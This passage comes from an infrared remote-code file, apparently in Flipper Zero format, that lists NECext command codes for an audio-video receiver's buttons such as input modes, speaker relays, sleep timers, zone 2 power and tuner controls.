INP-A_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A6 00 00 00 +# +name: AUDIO_SELECT:_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A6 00 00 00 +# +name: DSP:_DECODE_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A6 00 00 00 +# +name: MAIN:_INP_MODE_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A6 00 00 00 +# +name: INP_MODE_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A6 00 00 00 +# +name: MZ:_AUD_SEL_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A6 00 00 00 +# +name: VIDEO_PRESET_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A6 00 00 00 +# +name: VIDEO_PRESET_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A6 00 00 00 +# +name: INPUT_MODE:_DD_RF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A7 00 00 00 +# +name: MZ:_INP_MODE_DD.RF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A7 00 00 00 +# +name: INPUT_MODE_D.D.RF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A7 00 00 00 +# +name: VIDEO_PRESET_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A7 00 00 00 +# +name: DECODE_MODE_DTS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A8 00 00 00 +# +name: INPUT_MODE:_DTS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A8 00 00 00 +# +name: INPUT_MODE_DTS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A8 00 00 00 +# +name: MZ:_INP_MODE_DTS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A8 00 00 00 +# +name: MZ:_DECODER_DTS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A8 00 00 00 +# +name: DECODER_MODE_DTS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A8 00 00 00 +# +name: DECODER_MODE:_DTS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A8 00 00 00 +# +name: DSP:_DECODE_DTS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A8 00 00 00 +# +name: MAIN:_INP_MODE_DTS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A8 00 00 00 +# +name: INP_MODE_DTS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A8 00 00 00 +# +name: VIDEO_PRESET_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A8 00 00 00 +# +name: AUDIO_SELECT_COAX +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A9 00 00 00 +# +name: INPUT_MODE:_DIGITAL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A9 00 00 00 +# +name: MZ:_AUDIO_OPT/COX +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A9 00 00 00 +# +name: AUDIO_SEL_COAX/OPT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A9 00 00 00 +# +name: AUDIO_SEL:_OPT/COAX +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A9 00 00 00 +# +name: INP-A_COAX/OPT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A9 00 00 00 +# +name: AUDIO_SELECT:_COAX +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A9 00 00 00 +# +name: AUDIO_SELECT:_OPTIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A9 00 00 00 +# +name: MZ:_AUD_SEL_CX/OP +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A9 00 00 00 +# +name: INPUT_MODE_DIGITAL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A9 00 00 00 +# +name: VIDEO_PRESET_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A9 00 00 00 +# +name: AUDIO_SELECT_ANALOG +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AA 00 00 00 +# +name: INPUT_MODE:_ANALOG +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AA 00 00 00 +# +name: INPUT_MODE_ANALOG +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AA 00 00 00 +# +name: AUDIO_SEL:_ANALOG +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AA 00 00 00 +# +name: INP-A_ANALOG +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AA 00 00 00 +# +name: HDMI_OUT_1_AND_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AA 00 00 00 +# +name: AUDIO_SELECT:_ANALO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AA 00 00 00 +# +name: INP_MODE_ANALOG +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AA 00 00 00 +# +name: MZ:_AUD_SEL_ANALOG +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AA 00 00 00 +# +name: HDMI_OUT_1_&_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AA 00 00 00 +# +name: HDMI_OUT_1_&_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AA 00 00 00 +# +name: SP_RELAY_A_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AB 00 00 00 +# +name: SPKR_RELAY_A_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AB 00 00 00 +# +name: SPEAKER_RELAY_A_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AB 00 00 00 +# +name: MZ:_SPKR_A_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AB 00 00 00 +# +name: FRONT_SP_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AB 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AB 00 00 00 +# +name: SPEAKERS_A:_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AB 00 00 00 +# +name: MAIN:_SPEAKER_A_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AB 00 00 00 +# +name: SPKR_RELAY_A_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AB 00 00 00 +# +name: OUTPUT_FRONT_SP_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AB 00 00 00 +# +name: MZ:_SPEAKER_A_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AB 00 00 00 +# +name: SP_RELAY_A_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AC 00 00 00 +# +name: SPKR_RELAY_A_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AC 00 00 00 +# +name: SPEAKER_RELAY_A_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AC 00 00 00 +# +name: MZ:_SPKR_A_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AC 00 00 00 +# +name: FRONT_SP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AC 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AC 00 00 00 +# +name: SPEAKERS_A:_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AC 00 00 00 +# +name: MAIN:_SPEAKER_A_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AC 00 00 00 +# +name: SPKR_RELAY_A_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AC 00 00 00 +# +name: OUTPUT_FRONT_SP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AC 00 00 00 +# +name: MZ:_SPEAKER_A_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AC 00 00 00 +# +name: SP_RELAY_B_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AD 00 00 00 +# +name: SPKR_RELAY_B_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AD 00 00 00 +# +name: SPEAKER_RELAY_B_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AD 00 00 00 +# +name: MZ:_SPKR_B_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AD 00 00 00 +# +name: SPEAKERS_B:_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AD 00 00 00 +# +name: MAIN:_SPEAKER_B_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AD 00 00 00 +# +name: SPKR_RELAY_B_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AD 00 00 00 +# +name: MZ:_SPEAKER_B_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AD 00 00 00 +# +name: SP_RELAY_B_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AE 00 00 00 +# +name: SPKR_RELAY_B_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AE 00 00 00 +# +name: SPEAKER_RELAY_B_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AE 00 00 00 +# +name: MZ:_SPKR_B_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AE 00 00 00 +# +name: SPEAKERS_B:_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AE 00 00 00 +# +name: MAIN:_SPEAKER_B_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AE 00 00 00 +# +name: SPKR_RELAY_B_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AE 00 00 00 +# +name: MZ:_SPEAKER_B_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AE 00 00 00 +# +name: PRGRM_CHAMBER +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AF 00 00 00 +# +name: DSP_CHAMBER +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AF 00 00 00 +# +name: DSP:_CHAMBER +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AF 00 00 00 +# +name: DSP_CLASS_CHAMBER +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AF 00 00 00 +# +name: REMOTE_CTRL_CODE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AF 00 00 00 +# +name: DSP:_CHAMBER +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AF 00 00 00 +# +name: ONSCREEN_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B0 00 00 00 +# +name: ON_SCREEN_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B0 00 00 00 +# +name: OSD_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B0 00 00 00 +# +name: MZ:_OSD_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B0 00 00 00 +# +name: DSP:_CHAMBER +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B0 00 00 00 +# +name: DISP_DISPLAY_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B0 00 00 00 +# +name: ON_SCREEN:_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B0 00 00 00 +# +name: MAIN:_OSD_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B0 00 00 00 +# +name: OSD_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B0 00 00 00 +# +name: MZ:_DISPLAY_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B0 00 00 00 +# +name: SRCE:_MZ_DISPL_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B0 00 00 00 +# +name: ONSCREEN_SHORT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B1 00 00 00 +# +name: ON_SCREEN_SHORT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B1 00 00 00 +# +name: OSD_SHORT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B1 00 00 00 +# +name: MZ:_OSD_SHORT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B1 00 00 00 +# +name: ON_SCREEN:_SHORT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B1 00 00 00 +# +name: MAIN:_OSD_SHORT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B1 00 00 00 +# +name: OSD_SHORT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B1 00 00 00 +# +name: ONSCREEN_FULL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B2 00 00 00 +# +name: ON_SCREEN_FULL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B2 00 00 00 +# +name: OSD_FULL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B2 00 00 00 +# +name: MZ:_OSD_FULL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B2 00 00 00 +# +name: MZ:_OSD_FULL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B2 00 00 00 +# +name: DISP_DISPLAY_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B2 00 00 00 +# +name: ON_SCREEN:_FULL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B2 00 00 00 +# +name: MAIN:_OSD_FULL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B2 00 00 00 +# +name: OSD_FULL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B2 00 00 00 +# +name: MZ:_DISPLAY_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B2 00 00 00 +# +name: SRCE:_MZ_DISPL_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B2 00 00 00 +# +name: SLEEP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B3 00 00 00 +# +name: MZ:_SLEEP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B3 00 00 00 +# +name: SLEEP:_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B3 00 00 00 +# +name: SLEEP_OFF_ALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B3 00 00 00 +# +name: MAIN:_SLEEP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B3 00 00 00 +# +name: SLEEP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B3 00 00 00 +# +name: AZ:_SLEEP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B3 00 00 00 +# +name: SLEEP_120 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B4 00 00 00 +# +name: MZ:_SLEEP_120 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B4 00 00 00 +# +name: SLEEP:_120 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B4 00 00 00 +# +name: SLEEP_120_ALL_ZONES +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B4 00 00 00 +# +name: MAIN:_SLEEP_120 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B4 00 00 00 +# +name: SLEEP_120 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B4 00 00 00 +# +name: AZ:_SLEEP_120MIN +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B4 00 00 00 +# +name: SLEEP_90 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B5 00 00 00 +# +name: MZ:_SLEEP_90 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B5 00 00 00 +# +name: SLEEP:_90 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B5 00 00 00 +# +name: SLEEP_90_ALL_ZONES +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B5 00 00 00 +# +name: MAIN:_SLEEP_90 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B5 00 00 00 +# +name: SLEEP_90 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B5 00 00 00 +# +name: AZ:_SLEEP_90MIN +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B5 00 00 00 +# +name: SLEEP_60 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B6 00 00 00 +# +name: MZ:_SLEEP_60 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B6 00 00 00 +# +name: SLEEP:_60 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B6 00 00 00 +# +name: SLEEP_60_ALL_ZONES +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B6 00 00 00 +# +name: MAIN:_SLEEP_60 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B6 00 00 00 +# +name: SLEEP_60 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B6 00 00 00 +# +name: AZ:_SLEEP_60MIN +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B6 00 00 00 +# +name: SLEEP_30 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B7 00 00 00 +# +name: MZ:_SLEEP_30 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B7 00 00 00 +# +name: SLEEP:_30 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B7 00 00 00 +# +name: SLEEP_30_ALL_ZONES +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B7 00 00 00 +# +name: MAIN:_SLEEP_30 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B7 00 00 00 +# +name: SLEEP_30 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B7 00 00 00 +# +name: AZ:_SLEEP_30MIN +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B7 00 00 00 +# +name: EX/ES_MTRX_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B8 00 00 00 +# +name: 6.1/ES_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B8 00 00 00 +# +name: 6.1/ES_MATRIX_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B8 00 00 00 +# +name: DSP:_EX/ES_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B8 00 00 00 +# +name: EXTD_SUR_EX/ES_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B8 00 00 00 +# +name: EXT_SUR:_EX/ES_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B8 00 00 00 +# +name: DSP_EX_SUR_EX/ES +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B8 00 00 00 +# +name: EXTED._SURR._ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B8 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B8 00 00 00 +# +name: DSP:_EX/ES_MTRX +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B8 00 00 00 +# +name: EX/ES_MATRIX_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B8 00 00 00 +# +name: EXTED_SUR._ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B8 00 00 00 +# +name: DECOD:_E_EX/ES +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B8 00 00 00 +# +name: EXTED_SUR_EX/ES +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B8 00 00 00 +# +name: EXTED_SUR_EX/ES +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B8 00 00 00 +# +name: EX/ES_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B9 00 00 00 +# +name: 6.1/ES_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B9 00 00 00 +# +name: DSP:_EX/ES_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B9 00 00 00 +# +name: DSP:_EX_ES_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B9 00 00 00 +# +name: DSP:_EX_SURR._OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B9 00 00 00 +# +name: EXTD_SUR_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B9 00 00 00 +# +name: DSP:_EX/6.1/ES_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B9 00 00 00 +# +name: EXT_SUR:_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B9 00 00 00 +# +name: DSP_EX_SUR_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B9 00 00 00 +# +name: EXTED._SURR._OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B9 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B9 00 00 00 +# +name: DSP:_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B9 00 00 00 +# +name: EX/ES_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B9 00 00 00 +# +name: EXTED_SUR._OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B9 00 00 00 +# +name: DECOD:_E_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B9 00 00 00 +# +name: EXTED_SUR_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B9 00 00 00 +# +name: EXTED_SUR_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B9 00 00 00 +# +name: Z2_POWER_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BA 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BA 00 00 00 +# +name: Z2:_POWER_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BA 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BA 00 00 00 +# +name: ZONE2_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BA 00 00 00 +# +name: ZONE_2:_POWER_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BA 00 00 00 +# +name: ZONE_2_POWER_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BA 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BA 00 00 00 +# +name: ZONE2:_POWER_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BA 00 00 00 +# +name: Z2_POWER_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BA 00 00 00 +# +name: ZONE2_POWER_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BA 00 00 00 +# +name: Z2:_POWER_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BA 00 00 00 +# +name: Z2_POWER_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BB 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BB 00 00 00 +# +name: Z2:_POWER_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BB 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BB 00 00 00 +# +name: POWER_OFF_(STANDBY) +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BB 00 00 00 +# +name: POWER_OFF/STNDBY +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BB 00 00 00 +# +name: ZONE_2_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BB 00 00 00 +# +name: ZONE2_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BB 00 00 00 +# +name: ZONE_2:_POWER_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BB 00 00 00 +# +name: ZONE_2_STANDBY +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BB 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BB 00 00 00 +# +name: Z2:_STANDBY +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BB 00 00 00 +# +name: ZONE2:_POWER_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BB 00 00 00 +# +name: Z2_POWER_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BB 00 00 00 +# +name: ZONE2_POWER_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BB 00 00 00 +# +name: Z2:_STAND_BY +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BB 00 00 00 +# +name: Z2:_STAND_BY +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BB 00 00 00 +# +name: TUNER_FM +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BC 00 00 00 +# +name: TUNER:_FM +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BC 00 00 00 +# +name: INP_FM +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BC 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BC 00 00 00 +# +name: TUNER:_FM_BAND +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BC 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BC 00 00 00 +# +name: TUNER:_BAND_FM +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BC 00 00 00 +# +name: TUN_FM +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BC 00 00 00 +# +name: OPERATION_FM +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BC 00 00 00 +# +name: FM/AM_FM +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BC 00 00 00 +# +name: TUNER_AM +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BD 00 00 00 +# +name: TUNER:_AM +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BD 00 00 00 +# +name: INP_AM +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BD 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BD 00 00 00 +# +name: TUNER:_AM_BAND +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BD 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BD 00 00 00 +# +name: TUNER:_BAND_AM +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BD 00 00 00 +# +name: TUN_AM +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BD 00 00 00 +# +name: OPERATION_AM +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BD 00 00 00 +# +name: FM/AM_AM +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BD 00 00 00 +# +name: TUNER_AUTO_TUNE_+ +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BE 00 00 00 +# +name: AUTO_TUNING_+ +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BE 00 00 00 +# +name: TUNER_AUTO_TUNE_UP +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BE 00 00 00 +# +name: TUNER:_AUTO_TUNE_(+) +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BE 00 00 00 +# +name: TUNER:_AUTO_TUNE_+ +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BE 00 00 00 +# +name: AUTO_TUNE_+ +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BE 00 00 00 +# +name: TUNER:AUTO_TUNING+ +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BE 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BE 00 00 00 +# +name: TUNER:_AUTOTN_UP +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BE 00 00 00 +# +name: TUNER:_AUTO_TUNE_UP +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BE 00 00 00 +# +name: TUN_AUTO_TUN_UP +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BE 00 00 00 +# +name: OPERATION_TUNE_+ +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BE 00 00 00 +# +name: TUNER:_AUTO_TUN_UP +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BE 00 00 00 +# +name: FM/AM_AUTO_TUNE_UP +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BE 00 00 00 +# +name: AUTO_TUNE_+ +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BE 00 00 00 +# +name: TUNER_AUTO_TUNE_- +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BF 00 00 00 +# +name: AUTO_TUNING_- +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BF 00 00 00 +# +name: TUNER_AUTO_TUNE_DN +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BF 00 00 00 +# +name: TUNER:_AUTO_TUNE_(-) +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BF 00 00 00 +# +name: TUNER:_AUTO_TUNE_- +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BF 00 00 00 +# +name: AUTO_TUNE_- +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BF 00 00 00 +# +name: TUNER:AUTO_TUNING- +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BF 00 00 00 +# +name: TUNER:_AUTOTN_DN +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BF 00 00 00 +# +name: TUNER:_AUTO_TUNE_DN +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BF 00 00 00 +# +name: TUN_AUTO_TUN_DN +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BF 00 00 00 +# +name: OPERATION_TUNE_- +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BF 00 00 00 +# +name: TUNER:_AUTO_TUN_DN +type: parsed +protocol: NECext 